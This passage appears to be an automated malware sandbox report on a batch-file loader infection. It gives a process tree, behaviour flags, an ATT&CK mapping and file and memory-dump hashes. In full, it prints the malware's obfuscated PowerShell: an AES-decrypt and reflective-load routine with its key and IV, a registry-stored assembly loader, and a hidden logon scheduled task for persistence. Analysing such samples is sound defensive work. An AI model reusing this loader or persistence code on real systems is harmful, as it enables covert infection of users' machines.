dtfiPvXiSow,[uint32]8,0x20,[ref]$zWEIxhvMKP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+'WA'+[Char](82)+'E').GetValue(''+'$'+'s'+[Char](120)+''+[Char](114)+''+'s'+''+[Char](116)+''+'a'+'g'+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1268

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2944

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1380

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1264

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2324

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2748

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3048

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3080

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3320

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$sxr-Uni2.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:1360

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YdrnMYixViSdjvLypkvDjeezo9AbG2F3sYXUntuddvQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IBVidKouSC6beP8nLs4RNg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sjCYq=New-Object System.IO.MemoryStream(,$param_var); $HKxSP=New-Object System.IO.MemoryStream; $rfbZc=New-Object System.IO.Compression.GZipStream($sjCYq, [IO.Compression.CompressionMode]::Decompress); $rfbZc.CopyTo($HKxSP); $rfbZc.Dispose(); $sjCYq.Dispose(); $HKxSP.Dispose(); $HKxSP.ToArray();}function execute_function($param_var,$param2_var){ $qIGNe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ELzZY=$qIGNe.EntryPoint; $ELzZY.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\$sxr-Uni2.bat';$mxwBI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\$sxr-Uni2.bat').Split([Environment]::NewLine);foreach ($VNnmR in $mxwBI) { if ($VNnmR.StartsWith(':: ')) { $XFJot=$VNnmR.Substring(3); break; }}$payloads_var=[string[]]$XFJot.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4560

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_797_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_797.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2096

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_797.vbs"
4⤵
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_797.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:3772

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:948

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YdrnMYixViSdjvLypkvDjeezo9AbG2F3sYXUntuddvQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IBVidKouSC6beP8nLs4RNg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sjCYq=New-Object System.IO.MemoryStream(,$param_var); $HKxSP=New-Object System.IO.MemoryStream; $rfbZc=New-Object System.IO.Compression.GZipStream($sjCYq, [IO.Compression.CompressionMode]::Decompress); $rfbZc.CopyTo($HKxSP); $rfbZc.Dispose(); $sjCYq.Dispose(); $HKxSP.Dispose(); $HKxSP.ToArray();}function execute_function($param_var,$param2_var){ $qIGNe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ELzZY=$qIGNe.EntryPoint; $ELzZY.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_797.bat';$mxwBI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_797.bat').Split([Environment]::NewLine);foreach ($VNnmR in $mxwBI) { if ($VNnmR.StartsWith(':: ')) { $XFJot=$VNnmR.Substring(3); break; }}$payloads_var=[string[]]$XFJot.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4116

C:\Users\Admin\AppData\Local\Temp\ResetSurvival.exe
"C:\Users\Admin\AppData\Local\Temp\ResetSurvival.exe"
7⤵
- Executes dropped EXE
PID:4544

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
7⤵
- Executes dropped EXE
PID:4840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3500

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3924

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3980

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2848

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4064

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3156

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2220

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4028

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2084

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4792

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1792

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:2800

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
8ba8fc1034d449222856ea8fa2531e28

SHA1
7570fe1788e57484c5138b6cead052fbc3366f3e

SHA256
2e72609b2c93e0660390a91c8e5334d62c7b17cd40f9ae8afcc767d345cc12f2

SHA512
7ee42c690e5db3818e445fa8f50f5db39973f8caf5fce0b4d6261cb5a637e63f966c5f1734ee743b9bf30bcf8d18aa70ceb65ed41035c2940d4c6d34735e0d7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
17KB

MD5
c723cc10a34501c08de44f2e501fcc7b

SHA1
03799fd6003358208bdc0bd0c2951a8e6dad6930

SHA256
094ce155b74b7eaa80d2e702c95ebb7f3728d37c92d09df7a835ad837767d040

SHA512
d213a5e414d5bc461780426bc9309a292a379f7ce71a8d7544f4b6bc79ceff6f4e04f08f69f4720fb7cd39e317ae587cbe8d6592f2d10574d6c0ef27c1dd8e84

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
163KB

MD5
79e7a0f8ec98e351c491023605881537

SHA1
065146d5cbf73fef9d8f43bc9bd761959cb17486

SHA256
2b9c94fa4a0091e7be78ec8706b91e2f452b0192e48720dfa6216380b37c81b7

SHA512
e0630b588c8926da10b5880ca6f49fba32bd28cbf02b58692bea693fa4ede29a01dba9b4029916e1fcca2e38d447598cffe63cf91705f638a897b131304c20b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\ResetSurvival.exe
Filesize
139KB

MD5
84231ecf2715509d921283d32351d4cd

SHA1
cbb51ee26cb2c50621bbab170ea8696f84800090

SHA256
d36b177e6c58e67045da5a607f0b5d74ea56b06220216f5e2046557c8195b0f4

SHA512
997af01ae49cbb45857b664f182a912d7a604c18838bf75964228d19a75df0968b16e15a692a577f457e5f2875eb3bd4dca5861744d816dfbb80abc34ce35a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p4j1eizn.cyc.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_797.bat
Filesize
796KB

MD5
03137a8d9aaa39d4266d6cafecc5ccb2

SHA1
65ab5f05615d7aeb12a8f64f2339af341172784d

SHA256
7fca260b4dbeac5ef0255577b3502e6658ca6661f80ad9583673f656c3e67a64

SHA512
a950fe4fcee799aec313c08dc93535f0af463ab3953fb054288230ed30099ff98de5e12a6485e35a11a90a1f41c3043f5270274d29de7ed25c98356015084226

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_797.vbs
Filesize
115B

MD5
2860792d7ab56d95de11c5e8f59a6135

SHA1
5bf1d59b8a476a13a64bf35b10f41be9b905c301

SHA256
47c0dbadee50f4891203f96bc0f21b108c993d3db4de05d51b06904a247eebfa

SHA512
0f97e66427eab61946494d82a768836072c384a2a2f884a5485d8a770114038d05fbc099cfcfb0cbc23c8c80ac48159f70f0e38e778d43044c98b91bed9b3a96

Download Submit
memory/436-160-0x00000236A16A0000-0x00000236A16CA000-memory.dmp

Filesize
168KB

Download
memory/436-165-0x00000236A16A0000-0x00000236A16CA000-memory.dmp

Filesize
168KB

Download
memory/436-166-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

Filesize
64KB

Download
memory/540-175-0x00000232E1350000-0x00000232E137A000-memory.dmp

Filesize
168KB

Download
memory/540-170-0x00000232E1350000-0x00000232E137A000-memory.dmp

Filesize
168KB

Download
memory/540-176-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

Filesize
64KB

Download
memory/636-129-0x00000233FB720000-0x00000233FB74A000-memory.dmp

Filesize
168KB

Download
memory/636-136-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

Filesize
64KB

Download
memory/636-135-0x00000233FB720000-0x00000233FB74A000-memory.dmp

Filesize
168KB

Download
memory/636-130-0x00000233FB720000-0x00000233FB74A000-memory.dmp

Filesize
168KB

Download
memory/636-128-0x00000233FB6F0000-0x00000233FB715000-memory.dmp

Filesize
148KB

Download
memory/692-146-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

Filesize
64KB

Download
memory/692-145-0x0000026F6D830000-0x0000026F6D85A000-memory.dmp

Filesize
168KB

Download
memory/692-140-0x0000026F6D830000-0x0000026F6D85A000-memory.dmp

Filesize
168KB

Download
memory/988-155-0x0000017AA8FC0000-0x0000017AA8FEA000-memory.dmp

Filesize
168KB

Download
memory/988-150-0x0000017AA8FC0000-0x0000017AA8FEA000-memory.dmp

Filesize
168KB

Download
memory/988-156-0x00007FF942590000-0x00007FF9425A0000-memory.dmp

Filesize
64KB

Download
memory/2096-26-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/2096-36-0x00000000078A0000-0x00000000078D4000-memory.dmp

Filesize
208KB

Download
memory/2096-50-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/2096-51-0x0000000007AE0000-0x0000000007AEA000-memory.dmp

Filesize
40KB

Download
memory/2096-52-0x0000000007CF0000-0x0000000007D86000-memory.dmp

Filesize
600KB

Download
memory/2096-53-0x0000000007C80000-0x0000000007C91000-memory.dmp

Filesize
68KB

Download
memory/2096-54-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/2096-57-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/2096-48-0x0000000007930000-0x00000000079D4000-memory.dmp

Filesize
656KB

Download
memory/2096-47-0x0000000007900000-0x000000000791E000-memory.dmp

Filesize
120KB

Download
memory/2096-46-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/2096-37-0x0000000070C80000-0x0000000070CCC000-memory.dmp

Filesize
304KB

Download
memory/2096-25-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/2096-49-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/2096-27-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/4116-122-0x0000000007A30000-0x0000000007A3A000-memory.dmp

Filesize
40KB

Download
memory/4116-108-0x0000000007450000-0x0000000007462000-memory.dmp

Filesize
72KB

Download
memory/4116-109-0x00000000079E0000-0x0000000007A1C000-memory.dmp

Filesize
240KB

Download
memory/4116-81-0x0000000007940000-0x00000000079D2000-memory.dmp

Filesize
584KB

Download
memory/4116-80-0x0000000007770000-0x00000000077DC000-memory.dmp

Filesize
432KB

Download
memory/4328-120-0x00007FF982500000-0x00007FF982709000-memory.dmp

Filesize
2.0MB

Download
memory/4328-115-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4328-116-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4328-125-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4328-114-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4328-117-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4328-121-0x00007FF980D70000-0x00007FF980E2D000-memory.dmp

Filesize
756KB

Download
memory/4328-119-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4560-22-0x0000000007260000-0x000000000730E000-memory.dmp

Filesize
696KB

Download
memory/4560-7-0x0000000005AB0000-0x0000000005B16000-memory.dmp

Filesize
408KB

Download
memory/4560-75-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/4560-23-0x000000000A420000-0x000000000A9C6000-memory.dmp

Filesize
5.6MB

Download
memory/4560-1-0x0000000004BE0000-0x0000000004C16000-memory.dmp

Filesize
216KB

Download
memory/4560-21-0x0000000002650000-0x0000000002658000-memory.dmp

Filesize
32KB

Download
memory/4560-20-0x0000000006570000-0x000000000658A000-memory.dmp

Filesize
104KB

Download
memory/4560-19-0x00000000077F0000-0x0000000007E6A000-memory.dmp

Filesize
6.5MB

Download
memory/4560-18-0x0000000005FD0000-0x000000000601C000-memory.dmp

Filesize
304KB

Download
memory/4560-17-0x0000000005F90000-0x0000000005FAE000-memory.dmp

Filesize
120KB

Download
memory/4560-16-0x0000000005B20000-0x0000000005E77000-memory.dmp

Filesize
3.3MB

Download
memory/4560-0-0x0000000074A9E000-0x0000000074A9F000-memory.dmp

Filesize
4KB

Download
memory/4560-6-0x00000000052B0000-0x0000000005316000-memory.dmp

Filesize
408KB

Download
memory/4560-5-0x0000000005210000-0x0000000005232000-memory.dmp

Filesize
136KB

Download
memory/4560-4-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/4560-3-0x0000000074A90000-0x0000000075241000-memory.dmp

Filesize
7.7MB

Download
memory/4560-2-0x0000000005390000-0x00000000059BA000-memory.dmp

Filesize
6.2MB

Download
memory/5104-113-0x00007FF980D70000-0x00007FF980E2D000-memory.dmp

Filesize
756KB

Download
memory/5104-112-0x00007FF982500000-0x00007FF982709000-memory.dmp

Filesize
2.0MB

Download
memory/5104-111-0x0000016C6E3A0000-0x0000016C6E3CA000-memory.dmp

Filesize
168KB

Download
memory/5104-99-0x0000016C6E030000-0x0000016C6E052000-memory.dmp

Filesize
136KB

Download